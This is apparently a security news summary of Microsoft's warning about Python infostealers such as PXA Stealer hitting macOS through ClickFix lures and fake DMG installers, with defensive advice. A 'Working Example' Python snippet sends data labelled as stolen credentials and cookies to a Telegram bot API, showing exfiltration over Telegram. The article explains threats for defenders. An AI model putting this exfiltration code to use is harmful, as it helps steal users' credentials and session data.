Microsoft Warns of Python Infostealers Targeting macOS

Microsoft’s Defender Security Research Team has warned that information-stealing attacks are rapidly expanding beyond Windows to target Apple macOS environments, leveraging cross-platform languages like Python. The team observed macOS-targeted infostealer campaigns using social engineering techniques like ClickFix to distribute disk image (DMG) installers that deploy stealer malware families.

Why This Matters

The rapid adaptation of Python-based stealers to target heterogeneous environments with minimal overhead poses a significant threat to organizations, as it can lead to data breaches, unauthorized access to internal systems, business email compromise (BEC), supply chain attacks, and ransomware attacks. The failure to counter these threats can result in substantial financial losses and reputational damage, with the average cost of a data breach exceeding $4 million.

Key Insights

Python-based stealers like PXA Stealer are being leveraged by attackers to target macOS environments, collecting login credentials, session cookies, authentication tokens, credit card numbers, and crypto wallet data (Microsoft, 2026).
The use of Telegram for command-and-control communications and data exfiltration has been observed in PXA Stealer campaigns (Microsoft, 2026).
Popular messaging apps like WhatsApp are being weaponized to distribute malware like Eternidade Stealer, gaining access to financial and cryptocurrency accounts (LevelBlue/Trustwave, 2025).

Working Example

# Example of a Python-based stealer using Telegram for command-and-control communications
import requests
import json

def send_data_to_telegram(data):
    telegram_api_url = "https://api.telegram.org/bot<BOT_TOKEN>/sendMessage"
    payload = {"chat_id": "<CHAT_ID>", "text": json.dumps(data)}
    response = requests.post(telegram_api_url, json=payload)
    return response.json()

# Example usage:
data = {"credentials": "stolen_credentials", " cookies": "stolen_cookies"}
response = send_data_to_telegram(data)
print(response)

Practical Applications

Use Case: Organizations can educate users on social engineering attacks like malvertising redirect chains, fake installers, and ClickFix-style copy-paste prompts to prevent infostealer infections.
Pitfall: Failing to monitor for suspicious Terminal activity and access to the iCloud Keychain can lead to undetected infostealer infections, resulting in significant financial losses and reputational damage.

References:

On This Page

Microsoft Warns of Python Infostealers Targeting macOS